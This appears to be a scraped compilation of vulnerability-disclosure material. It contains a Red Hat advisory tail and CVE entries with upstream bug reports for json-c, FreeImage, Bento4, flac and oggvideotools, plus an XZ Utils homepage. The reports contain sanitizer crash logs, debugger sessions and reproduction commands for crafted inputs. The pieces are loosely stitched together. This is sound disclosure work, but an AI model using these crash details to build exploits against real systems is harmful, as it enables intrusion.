subscription-manager-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-debuginfo-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-debugsource-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-plugin-ostree-1.28.13-7.el8_4.x86_64.rpm  
subscription-manager-rhsm-certificates-1.28.13-7.el8_4.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2023-3899  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJk5RhRAAoJENzjgjWX9erEkFcQAJXsfy9Mcja8GUJAasrRvvWI  
8WX0dfXyFduP4MvuyEUJnciNQgegAtvFODdxLQN6d9NJckyhFhsLyQ5wAZHvzLcJ  
udLORc9cn42P4t2XuoWsXApeBTUYyxRW1fmJJzMyeTmGTtDEf4F/TTQEa/j/gjvI  
CJ1f58PdspccDQLhppj02bFdwDHM+W6uLaKookyn2DuZ5hlmoRMbWNV4N0mde+4i  
GI66+u22FjWjr3EzbwcOiScsuFUSYVELnul7lyaJ0oSdVvAbnHSoxJpUojmUJU0t  
7jZHGOuiXuae+4SA75cwDTm4ZYvyrreEYQnqVHsXkSa+6LBFYfO3m+cqF3rgJxzI  
/MD2VPq12iIreGP0iXQZRfpU29SL8A95G/D5X6N1Ch+g48SbxMlIUX2WzRC5HxyU  
32vpTNVNiJmTh+11Adc++Tj+qZAO1PEMsnc3jG+AiXEcGwgtmHVI8ZVT+hWZLdQt  
JYKA1Ow6ilWC0wNktl/REvSe3LSb1CLRMU1lyPeZ85fAg/Thlox7bpPz5ndCM35E  
MGchKCjYyEz16puV3fMFJbM5YKsVLPELed6Y52q8cA0pM7AZ8lpMOkWjcrHJFKMS  
nNE01Upgef/JdfIlDjXqIXUIzI1Fq9zVrz7zMM3QHa7K5jhnyg4weSVCV18fkw83  
KJ5IItPF26Ky/o5clbmc  
=xl+P  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4704-01

An issue was discovered in json-c through 0.15-20200726. A stack-buffer-overflow exists in the function parseit located in json_parse.c. It allows an attacker to cause code Execution.

cmake ..-DCMAKE\_CXX\_FLAGS="-fsanitize=address -g" -DCMAKE\_C\_FLAGS="-fsanitize=address -g" -DCMAKE\_EXE\_LINKER\_FLAGS="-fsanitize=address"

    =================================================================
    ==12668==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffea9c409b0 at pc 0x00000051747b bp 0x7ffea9c388b0 sp 0x7ffea9c388a8
    READ of size 1 at 0x7ffea9c409b0 thread T0
        #0 0x51747a in parseit /home/seviezhou/jsonc/apps/json_parse.c:89:44
        #1 0x51747a in main /home/seviezhou/jsonc/apps/json_parse.c:182
        #2 0x7fc02a77783f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #3 0x41a928 in _start (/home/seviezhou/jsonc/build/apps/json_parse+0x41a928)
    
    Address 0x7ffea9c409b0 is located in stack of thread T0 at offset 33008 in frame
        #0 0x51651f in main /home/seviezhou/jsonc/apps/json_parse.c:159
    
      This frame has 3 object(s):
        [32, 176) 'rusage.i.i.i' (line 42)
        [240, 33008) 'buf.i' (line 52) <== Memory access at offset 33008 overflows this variable
        [33264, 33408) 'rusage.i' (line 42)
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow /home/seviezhou/jsonc/apps/json_parse.c:89:44 in parseit
    Shadow bytes around the buggy address:
      0x1000553800e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x1000553800f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x100055380100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x100055380110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x100055380120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x100055380130: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2
      0x100055380140: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
      0x100055380150: f2 f2 f2 f2 f2 f2 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
      0x100055380160: f8 f8 f8 f8 f8 f8 f8 f8 f3 f3 f3 f3 f3 f3 f3 f3
      0x100055380170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x100055380180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==12668==ABORTING

CVE-2021-32292: A stack-buffer-overflow in json_parse.c:89:44 · Issue #654 · json-c/json-c

Buffer Overflow vulnerability in FreeImage_Load function in FreeImage Library 3.19.0(r1828) allows attackers to cuase a denial of service via crafted PFM file.

**SEGV in function Load() in PluginPFM.cpp****Summary:**

There is a SEGV in PluginPFM.cpp while loading image with FreeImage_Load function。

**Version Affected: 3.19.0 (r1828)****ASAN Details**

AddressSanitizer:DEADLYSIGNAL
\=================================================================
\==24231\==ERROR: AddressSanitizer: SEGV on unknown address 0x613fa5f646c0 (pc 0x0000005a86b3 bp 0x7ffee3d2c080 sp 0x7ffee3d2b8e0 T0)
\==24231\==The signal is caused by a WRITE memory access.
    #0 0x5a86b2 in Load(FreeImageIO\*, void\*, int, int, void\*) /home/src/freeimage-svn/FreeImage/trunk/Source/FreeImage/PluginPFM.cpp
    #1 0x5252fc in FreeImage\_LoadFromHandle /home/src/freeimage-svn/FreeImage/trunk/Source/FreeImage/Plugin.cpp:388:24
    #2 0x52550c in FreeImage\_Load /home/src/freeimage-svn/FreeImage/trunk/Source/FreeImage/Plugin.cpp:408:22
    #3 0x50640c in main /home/src/freeimage-svn/FreeImage/trunk/load\-test.c:16:18
    #4 0x7f6f56aa6b6a in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x26b6a)
    #5 0x428569 in \_start (/home/src/freeimage-svn/FreeImage/trunk/load\-test+0x428569)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/src/freeimage-svn/FreeImage/trunk/Source/FreeImage/PluginPFM.cpp in Load(FreeImageIO\*, void\*, int, int, void\*)
\==24231\==ABORTING

**Reproduce**

To reproduce it ,compile FreeImage with ASAN. Then compile and execute the test file in the attachment as follows:

Clang++ \-g \-fsanitize\=address load\-test.c \-lfreeimage \-L. \-lm \-o load\-test
./load\-test SEGV\_PluginPFM\_cpp

**Credit**

ADLab of Venustech

CVE-2020-22524: FreeImage / Bugs / #319 SEGV in function Load() in PluginPFM.cpp

Bento4 v1.6.0-639 was discovered to contain a segmentation violation via the AP4_Processor::ProcessFragments function in mp4encrypt.

**Summary**

Hi, developers of Bento4:  
I tested the binary mp4encrypt with my fuzzer, and a crash incurred—SEGV on unknown address. The following is the details.

**Bug**

Detected SEGV on unknown address in mp4encrypt.

    root@2e47aa8b3277:/fuzz-mp4encrypt-ACBC/mp4encrypt# ./mp4encrypt --method MARLIN-IPMP-ACBC ../out/crashes/id:000000,sig:06,src:000718+000108,op:splice,rep:128,203819180 /dev/null
    WARNING: track ID 1 will not be encrypted
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==2391078==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000028 (pc 0x000000633817 bp 0x7fff9076b400 sp 0x7fff90769aa0 T0)
    ==2391078==The signal is caused by a READ memory access.
    ==2391078==Hint: address points to the zero page.
        #0 0x633817 in AP4_Processor::ProcessFragments(AP4_MoovAtom*, AP4_List<AP4_AtomLocator>&, AP4_ContainerAtom*, AP4_SidxAtom*, unsigned long long, AP4_ByteStream&, AP4_ByteStream&) (/fuzz-mp4encrypt-ACBC/mp4encrypt/mp4encrypt+0x633817)
        #1 0x658320 in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4encrypt-ACBC/mp4encrypt/mp4encrypt+0x658320)
        #2 0x42128c in main (/fuzz-mp4encrypt-ACBC/mp4encrypt/mp4encrypt+0x42128c)
        #3 0x7fd8c26f7c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
        #4 0x407c99 in _start (/fuzz-mp4encrypt-ACBC/mp4encrypt/mp4encrypt+0x407c99)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV (/fuzz-mp4encrypt-ACBC/mp4encrypt/mp4encrypt+0x633817) in AP4_Processor::ProcessFragments(AP4_MoovAtom*, AP4_List<AP4_AtomLocator>&, AP4_ContainerAtom*, AP4_SidxAtom*, unsigned long long, AP4_ByteStream&, AP4_ByteStream&)
    ==2391078==ABORTING
    
    

**POC**

POC\_mp4encrypt\_203819180.zip

**Environment**

Ubuntu 18.04.6 LTS (docker)  
clang 12.0.1  
clang++ 12.0.1  
Bento4 master branch(5b7cc25) && Bento4 release version(1.6.0-639)

**Credit**

Xudong Cao (NCNIPC of China)  
Jiayuan Zhang (NCNIPC of China)  
Han Zheng (NCNIPC of China, Hexhive)

Thank you for your time!

CVE-2023-38666: SEGV on unknown address 0x000000000028 in mp4encrypt · Issue #784 · axiomatic-systems/Bento4

Buffer Overflow vulnerability in function bitwriter_grow_ in flac before 1.4.0 allows remote attackers to run arbitrary code via crafted input to the encoder.

we found wild-addr-write by fuzzing flac-master:

    ==217==ERROR: AddressSanitizer: SEGV on unknown address 0xb6029a2c (pc 0x0822a2ae bp 0xffeb31e8 sp 0xffeb30a0 T0)
    ==217==The signal is caused by a WRITE memory access.
    SCARINESS: 30 (wild-addr-write)
        #0 0x822a2ad in FLAC__bitwriter_write_raw_uint32_nocheck /src/flac/src/libFLAC/bitwriter.c
        #1 0x8229a42 in FLAC__bitwriter_write_raw_uint32 /src/flac/src/libFLAC/bitwriter.c:369:9
        #2 0x8218ec3 in FLAC__frame_add_header /src/flac/src/libFLAC/stream_encoder_framing.c:227:6
        #3 0x820557b in process_subframes_ /src/flac/src/libFLAC/stream_encoder.c:3365:7
        #4 0x81d940f in process_frame_ /src/flac/src/libFLAC/stream_encoder.c:3096:6
        #5 0x81f3770 in FLAC__stream_encoder_process_interleaved /src/flac/src/libFLAC/stream_encoder.c:2298:9
        #6 0x81bfa80 in FLAC::Encoder::Stream::process_interleaved(int const*, unsigned int) /src/flac/src/libFLAC++/stream_encoder.cpp:370:29
        #7 0x81ac167 in LLVMFuzzerTestOneInput /src/flac-fuzzers/fuzzer_encoder.cpp:141:46
        #8 0x80ac766 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned int) /src/llvm/projects/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:556:15
        #9 0x8098c13 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned int) /src/llvm/projects/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:292:6
        #10 0x809e318 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned int)) /src/llvm/projects/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:774:9
        #11 0x80c3167 in main /src/llvm/projects/compiler-rt/lib/fuzzer/FuzzerMain.cpp:19:10
        #12 0xf7539636 in __libc_start_main (/lib32/libc.so.6+0x18636)
        #13 0x8073c38 in _start (/out/flac/fuzzer_encoder+0x8073c38)
    

here is my debug info:  
bw->buffer was realloc here

    bitwriter_grow_ (bw=0xf5a00a90, bits_to_add=62914562) at bitwriter.c:128
    128		if(new_buffer == 0)
    (gdb) n
    130		bw->buffer = new_buffer;
    (gdb) l
    125		FLAC__ASSERT(new_capacity >= bw->words + ((bw->bits + bits_to_add + FLAC__BITS_PER_WORD - 1) / FLAC__BITS_PER_WORD));
    126
    127		new_buffer = safe_realloc_mul_2op_(bw->buffer, sizeof(bwword), /*times*/new_capacity);
    128		if(new_buffer == 0)
    129			return false;
    130		bw->buffer = new_buffer;
    131		bw->capacity = new_capacity;
    132		return true;
    133	}
    134
    (gdb) p new_buffer
    $1 = (bwword *) 0x7abd7800
    (gdb) p new_capacity
    $2 = 250956800
    

later, bw->buffer was freed but it's value NOT set to 0

    156	static inline void *safe_realloc_(void *ptr, size_t size)
    157	{
    158		void *oldptr = ptr;
    159		void *newptr = realloc(ptr, size);
    160		if(size > 0 && newptr == 0)
    161			free(oldptr);
    162		return newptr;
    (gdb) n
    159		void *newptr = realloc(ptr, size);
    (gdb) n
    160		if(size > 0 && newptr == 0)
    (gdb) p newptr
    $4 = (void *) 0x0
    (gdb) p size
    $5 = 1006448640
    (gdb) n
    161			free(oldptr);
    (gdb) p oldptr
    $6 = (void *) 0x7abd7800
    (gdb) n
    162		return newptr;
    (gdb) n
    safe_realloc_mul_2op_ (ptr=0x7abd7800, size1=4, size2=251612160) at ../../include/share/alloc.h:206
    206	}
    (gdb) n
    bitwriter_grow_ (bw=0xf5a00a90, bits_to_add=20971521) at bitwriter.c:128
    128		if(new_buffer == 0)
    (gdb) l
    123		FLAC__ASSERT(0 == (new_capacity - bw->capacity) % FLAC__BITWRITER_DEFAULT_INCREMENT);
    124		FLAC__ASSERT(new_capacity > bw->capacity);
    125		FLAC__ASSERT(new_capacity >= bw->words + ((bw->bits + bits_to_add + FLAC__BITS_PER_WORD - 1) / FLAC__BITS_PER_WORD));
    126
    127		new_buffer = safe_realloc_mul_2op_(bw->buffer, sizeof(bwword), /*times*/new_capacity);
    128		if(new_buffer == 0)
    129			return false;
    130		bw->buffer = new_buffer;
    131		bw->capacity = new_capacity;
    132		return true;
    (gdb) p bw->buffer
    $7 = (bwword *) 0x7abd7800
    (gdb) p bw->capacity
    $8 = 250956800
    (gdb) n
    129			return false

CVE-2020-22219: wild-addr-write found by fuzz · Issue #215 · xiph/flac

Buffer Overflow vulnerability in ExtractorInformation function in streamExtractor.cpp in oggvideotools 0.9.1 allows remaote attackers to run arbitrary code via opening of crafted ogg file.

I use AddressSanitizer to build oggvideotools 0.9.1 and get segment fault as below. I use the command:  
oggLength <testcase>  
The testcase I used is put in the attachment.  
This software can also be installed by command apt install oggvideotools but the version is 0.8a-7, which can also get segment fault with the same testcase.</testcase>

MediaConverter::setAvailable(): decoder is not configured or has ended  
MediaConverter::setAvailable(): decoder is not configured or has ended  
MediaConverter::setAvailable(): decoder is not configured or has ended  
\=================================================================  
\==32390==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60600000e4b8 at pc 0x00000046e493 bp 0x7ffe9af99060 sp 0x7ffe9af99050  
WRITE of size 4 at 0x60600000e4b8 thread T0  
#0 0x46e492 in ExtractorInformation::operator=(ExtractorInformation const&) /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/base/streamExtractor.cpp:17  
#1 0x4407e2 in StreamConfig::operator=(StreamConfig const&) /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/base/streamConfig.h:12  
#2 0x43ea66 in StreamSerializer::getStreamConfig(std::vector<streamconfig, std::allocator<streamconfig=""> >&) /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/main/streamSerializer.cpp:210  
#3 0x43b0c4 in oggLengthCmd(int, char\*\*) /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/binaries/oggLength.cpp:93  
#4 0x43b4e5 in main /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/binaries/oggLength.cpp:136  
#5 0x7f13e016782f in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x2082f)  
#6 0x43aa78 in \_start (/home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/install/bin/oggLength+0x43aa78)</streamconfig,>

0x60600000e4b8 is located 0 bytes to the right of 56-byte region \[0x60600000e480,0x60600000e4b8)  
allocated by thread T0 here:  
#0 0x7f13e0b42532 in operator new(unsigned long) (/usr/lib/x86\_64-linux-gnu/libasan.so.2+0x99532)  
#1 0x4468b4 in \_\_gnu\_cxx::new\_allocator<streamconfig>::allocate(unsigned long, void const_) /usr/include/c++/5/ext/new\_allocator.h:104  
#2 0x4460b3 in std::allocator\_traits<std::allocator<streamconfig> >::allocate(std::allocator<streamconfig>&, unsigned long) /usr/include/c++/5/bits/alloc\_traits.h:491  
#3 0x4451fd in std::\_Vector\_base<streamconfig, std::allocator<streamconfig=""> >::\_M\_allocate(unsigned long) /usr/include/c++/5/bits/stl\_vector.h:170  
#4 0x443257 in std::vector<streamconfig, std::allocator<streamconfig=""> >::\_M\_default\_append(unsigned long) (/home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/install/bin/oggLength+0x443257)  
#5 0x441d5e in std::vector<streamconfig, std::allocator<streamconfig=""> >::resize(unsigned long) (/home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/install/bin/oggLength+0x441d5e)  
#6 0x43e9a5 in StreamSerializer::getStreamConfig(std::vector<streamconfig, std::allocator<streamconfig=""> >&) /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/main/streamSerializer.cpp:206  
#7 0x43b0c4 in oggLengthCmd(int, char</streamconfig,></streamconfig,></streamconfig,></streamconfig,></streamconfig></std::allocator<streamconfig>_\*) /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/binaries/oggLength.cpp:93  
#8 0x43b4e5 in main /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/binaries/oggLength.cpp:136  
#9 0x7f13e016782f in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x2082f)</streamconfig>

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/base/streamExtractor.cpp:17 ExtractorInformation::operator=(ExtractorInformation const&)  
Shadow bytes around the buggy address:  
0x0c0c7fff9c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c0c7fff9c50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c0c7fff9c60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c0c7fff9c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c0c7fff9c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
\=>0x0c0c7fff9c90: 00 00 00 00 00 00 00\[fa\]fa fa fa fa 00 00 00 00  
0x0c0c7fff9ca0: 00 00 05 fa fa fa fa fa fd fd fd fd fd fd fd fa  
0x0c0c7fff9cb0: fa fa fa fa 00 00 00 00 00 00 07 fa fa fa fa fa  
0x0c0c7fff9cc0: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd  
0x0c0c7fff9cd0: fd fd fd fd fa fa fa fa 00 00 00 00 00 00 06 fa  
0x0c0c7fff9ce0: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa  
Shadow byte legend (one shadow byte represents 8 application bytes):  
Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07  
Heap left redzone: fa  
Heap right redzone: fb  
Freed heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack partial redzone: f4  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
\==32390==ABORTING

My system is:  
Description: Ubuntu 16.04.6 LTS  
Release: 16.04

The software information:  
oggvideotools:  
Installed: 0.8a-7  
Candidate: 0.8a-7  
Version table:  
\*\*\* 0.8a-7 500  
500 https://mirrors.tuna.tsinghua.edu.cn/ubuntu xenial/universe amd64 Packages  
500 http://archive.ubuntu.com/ubuntu xenial/universe amd64 Packages  
100 /var/lib/dpkg/status

ProblemType: Bug  
DistroRelease: Ubuntu 16.04  
Package: oggvideotools 0.8a-7  
ProcVersionSignature: Ubuntu 4.15.0-66.75~16.04.1-generic 4.15.18  
Uname: Linux 4.15.0-66-generic x86\_64  
ApportVersion: 2.20.1-0ubuntu2.21  
Architecture: amd64  
CurrentDesktop: Unity  
Date: Thu Nov 14 19:56:47 2019  
InstallationDate: Installed on 2019-01-24 (293 days ago)  
InstallationMedia: Ubuntu 16.04.5 LTS "Xenial Xerus" - Release amd64 (20180731)  
SourcePackage: oggvideotools  
UpgradeStatus: No upgrade log present (probably fresh install)

**1 Attachments**

CVE-2020-21724: Ogg Video Tools / Bugs

An issue discovered in XZ 5.2.5 allows attackers to cause a denial of service via decompression of crafted file.

XZ Utils is free general-purpose data compression software with a high compression ratio. XZ Utils were written for POSIX-like systems, but also work on some not-so-POSIX systems. XZ Utils are the successor to LZMA Utils.

The core of the XZ Utils compression code is based on LZMA SDK, but it has been modified quite a lot to be suitable for XZ Utils. The primary compression algorithm is currently LZMA2, which is used inside the .xz container format. With typical files, XZ Utils create 30 % smaller output than gzip and 15 % smaller output than bzip2.

XZ Utils consist of several components:

*   liblzma is a compression library with an API similar to that of zlib.
*   xz is a command line tool with syntax similar to that of gzip.
*   xzdec is a decompression-only tool smaller than the full-featured xz tool.
*   A set of shell scripts (xzgrep, xzdiff, etc.) have been adapted from gzip to ease viewing, grepping, and comparing compressed files.
*   Emulation of command line tools of LZMA Utils eases transition from LZMA Utils to XZ Utils.

While liblzma has a zlib-like API, liblzma doesn't include any file I/O functions. A separate I/O library is planned, which would abstract handling of .gz, .bz2, and .xz files with an easy to use API.

**Documentation**

Man page with a keyword index: xz(1)

Doxygen-generated liblzma API documentation is also included in the source packages since XZ Utils 5.4.2.

**Source code**

Versions 5.2.12, 5.4.3, and later have been signed with Jia Tan's OpenPGP key. The older files have been signed with Lasse Collin's OpenPGP key.

See the NEWS file for a summary of changes between versions.

**Stable**

5.4.4 was released on 2023-08-02. A minor bug fix release 5.2.12 to the old stable branch was made on 2023-05-04. This is probably the last release in the 5.2.x series.

XZ Utils releases are hosted on GitHub and thus some of the links below redirect to the XZ Utils release section on GitHub. Release files are also available in the XZ Utils files section on Sourceforge.

xz-5.4.4.tar.gz (2808 KiB) signature  
xz-5.4.4.tar.bz2 (2116 KiB) signature  
xz-5.4.4.tar.zst (1680 KiB) signature  
xz-5.4.4.tar.xz (1623 KiB) signature

Probably the last release of the old stable branch:

xz-5.2.12.tar.gz (2140 KiB) signature  
xz-5.2.12.tar.bz2 (1593 KiB) signature  
xz-5.2.12.tar.zst (1317 KiB) signature  
xz-5.2.12.tar.xz (1275 KiB) signature

**Development**

The new APIs, command line options etc. in development releases should be considered unstable. Incompatible changes to unstable features may be done before they get included in a stable release.

There currently are no development releases.

**Old versions**

Source and binary packages of old XZ Utils releases are available on a separate page.

**Git repository**

The primary repository is on GitHub:

git clone https://github.com/tukaani-project/xz

It is mirrored with some delay to git.tukaani.org:

git clone https://git.tukaani.org/xz.git

Gitweb

Branches:

*   **master**: the latest development code
*   **v5.4**: fixes for the next 5.4.x release
*   **v5.2**: fixes for the next 5.2.x release
*   **v5.0**: fixes for the next 5.0.x release (unmaintained)

Building the code from the git repository requires GNU Autotools. Here are the _minimum_ versions that should work with XZ Utils; using the latest versions is strongly recommended:

*   Autoconf 2.69
*   Automake 1.12
*   gettext 0.19.6 (Note: autopoint depends on cvs!)
*   Libtool 2.4

The following are optional dependencies. The autogen.sh script will fail if they are missing but autogen.sh takes command line arguments to disable these dependencies.

*   po4a is needed for translated documentation (man pages). To build without po4a, use --no-po4a with autogen.sh.
*   Doxygen is needed to generate liblzma API documentation. To build without Doxygen, use --no-doxygen with autogen.sh.

**Security issues****xzgrep CVE-2022-1271, ZDI-CAN-16587**

A patch to fix a security vulnerability in xzgrep (CVE-2022-1271, ZDI-CAN-16587) was made public on 2022-04-07. The patch applies to 4.999.9beta to 5.2.5, 5.3.1alpha, and 5.3.2alpha. Newer XZ Utils releases include an improved fix for the problem.

It is a severe issue if an attacker can control the filenames that are given on the xzgrep command line. The vulnerability was discovered by cleemy desu wayo working with Trend Micro Zero Day Initiative. For more information, see the detailed description in the patch file linked below.

xzgrep-ZDI-CAN-16587.patch  
xzgrep-ZDI-CAN-16587.patch.sig

**Bindings****Python**

Python 3.3 includes bindings for liblzma. A backport of these bindings are available for Python 2 in the backports.lzma package.

lzmaffi is another Python binding which adds random-access decompression support.

The original Python 2 binding for liblzma is PylibLZMA.

**Perl**

Perl bindings for liblzma: IO-Compress-Lzma and Compress-Raw-Lzma.

**Haskell**

Haskell bindings.

**Delphi and Free Pascal**

Bindings and example programs for Delphi and Free Pascal are available here.

**Pre-built binaries**

Many free software operating systems already provide easy-to-install XZ Utils binaries. It doesn't make sense to provide links to all those here. Instead, binaries or links to websites providing binaries are listed here only for operating systems that don't have well-known repositories where users would get software like this.

If you have a website that provides up-to-date XZ Utils binaries for an operating system that meets the the criteria above, let me know and I will include a link here. Note that I won't host the binaries themselves without a good reason.

**Windows**

The Windows version of XZ Utils includes binaries for 32-bit and 64-bit x86. The binaries only depend on msvcrt.dll, which is available on Windows 98 and later out of the box.

*   Command line tools: xz, xzdec, lzmadec, lzmainfo
*   Shared (DLL) and static liblzma, required C header files, and liblzma.def to create import libraries for non-GNU toolchains (no import library is needed with GNU toolchain)
*   Documentation is in plain text (UTF-8) format. The man pages of the command line tools are included also as PDF.

5.2.10, 5.2.11, or 5.2.12 do not have anything significant for Windows so only 5.2.9 is here. 5.4.x builds are not provided for now.

xz-5.2.9-windows.zip (1473 KiB) signature  
xz-5.2.9-windows.7z (708 KiB) signature

**DOS**

The DOS version of XZ Utils includes only the xz command line tool and some documentation. The xz tool should work e.g. on FreeDOS (also in DOSEMU), MS-DOS, and Windows 95/98/98SE/ME. This doesn't necessarily work in DOSBox at all, and at least some problems are expected under Windows XP Command Prompt (signal handling doesn't work).

Since the DOS version is naturally going to get very little testing, it is recommended to use the Windows version instead of the DOS version if you need xz under Windows 98 or later. It is likely that that the DOS version will be updated only occasionally.

5.2.0 and later have experimental support for 8.3 filenames. See xz-dos.txt in the binary package or dos/README.txt in the source package for details.

xz-5.4.0-dos.zip (277 KiB) signature

The package includes some copylefted code from DJGPP and CWSDPMI. The relevant source code is available from their home pages, and copies are also available below.

djlsr205.zip (2000 KiB)  
djtst205.zip (1061 KiB)  
csdpmi7s.zip (88 KiB)

Juan Manuel Guerrero has made a more complete port of XZ Utils to DOS. It also has support for short file names (8.3), but the naming method is different from the one found in 5.2.0 and later. It is available from DJGPP mirrors under /current/v2apps (e.g. xz-500b.zip for 5.0.0 binaries).

**Supported platforms**

Below is an incomplete and somewhat vague (version numbers mostly missing) list of operating systems on which XZ Utils should work. The compiler(s) or toolchains are mentioned in parenthesis. GCC refers to GCC 3 or later. If you have additions or corrections, please email them to me.

*   GNU/Linux (GCC, Clang, ICC, IBM XL C)
*   GNU/HURD (GCC)
*   DragonflyBSD (GCC)
*   FreeBSD (GCC, Clang)
*   MirBSD (GCC)
*   NetBSD (GCC)
*   OpenBSD (Clang, GCC)
*   MINIX 3 (GCC) \[1\]
*   Haiku (GCC4)
*   Mac OS X (GCC)
*   Solaris 8, 9, 10, 11 (GCC, Sun Studio) \[3\]
*   Solaris 2.6, 7 (GCC)
*   HP-UX (GCC, HP ANSI C) \[2\]
*   Tru64 (GCC, Compaq C compiler) \[1\]
*   IRIX (MIPSpro) \[1\]
*   AIX (GCC, IBM XL C)
*   z/OS (IBM XL C)
*   QNX (compilers?)
*   OpenVMS (HP C compiler) \[1\]
*   OpenVOS 17 (GCC)
*   SCO OpenServer 5.0.7 (GCC 3.4.6, 4.2.4) \[4\]
*   Windows 95 and later (GCC/MinGW, GCC/MinGW-w64, GCC/Cygwin, GCC/Interix, Visual Studio (VS can only build liblzma)) \[1\]
*   OS/2, eComStation (GCC)
*   DOS e.g. FreeDOS and MS-DOS (GCC/DJGPP) \[1\]

\[1\] See also the platform-specific notes in the INSTALL file.

\[2\] 2010-09-22: HP ANSI C compiler crashes when compiling XZ Utils on PA-RISC. On Itanium there are no problems.

\[3\] On Solaris 8 and 9 one may need to pass ac\_cv\_prog\_cc\_c99= to configure if using Sun Studio.

\[4\] Use --disable-threads when running configure.

**Licensing**

The most interesting parts of XZ Utils (e.g. liblzma) are in the public domain. You can do whatever you want with the public domain parts.

Some parts of XZ Utils (e.g. build system and some utilities) are under different free software licenses such as GNU LGPLv2.1, GNU GPLv2, or GNU GPLv3.

See the file COPYING for more details.

CVE-2020-22916: XZ Utils

An issue was discovered in hwclock.13-v2.27 allows attackers to gain escalated privlidges or execute arbitrary commands via the path parameter when setting the date.

Tag

#c++